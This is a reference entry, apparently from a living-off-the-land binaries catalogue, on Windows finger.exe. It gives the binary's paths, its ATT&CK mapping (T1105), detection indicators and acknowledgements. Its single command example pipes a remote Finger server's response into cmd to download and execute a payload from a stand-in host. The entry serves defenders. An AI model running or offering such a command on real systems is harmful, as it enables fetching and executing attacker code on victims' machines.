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LIVING OFF THE LAND / OS BINARIES

Finger.exe

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Displays information about a user or users on a specified remote computer that is running the Finger service or daemon

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01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.

COMMAND
finger user@example.host.com | more +2 | cmd
USE CASE
Download malicious payload
PRIVILEGES
User
OPERATING SYSTEM
Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
02 / ON DISK

Known paths

c:\windows\system32\finger.exe
c:\windows\syswow64\finger.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    finger.exe should not be run on a normal workstation.

  • IOC

    finger.exe connecting to external resources.

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Ruben Revuelta (MAPFRE CERT)@rubn_RB
Jose A. Jimenez (MAPFRE CERT)@Ocelotty6669
Malwrologist@DissectMalware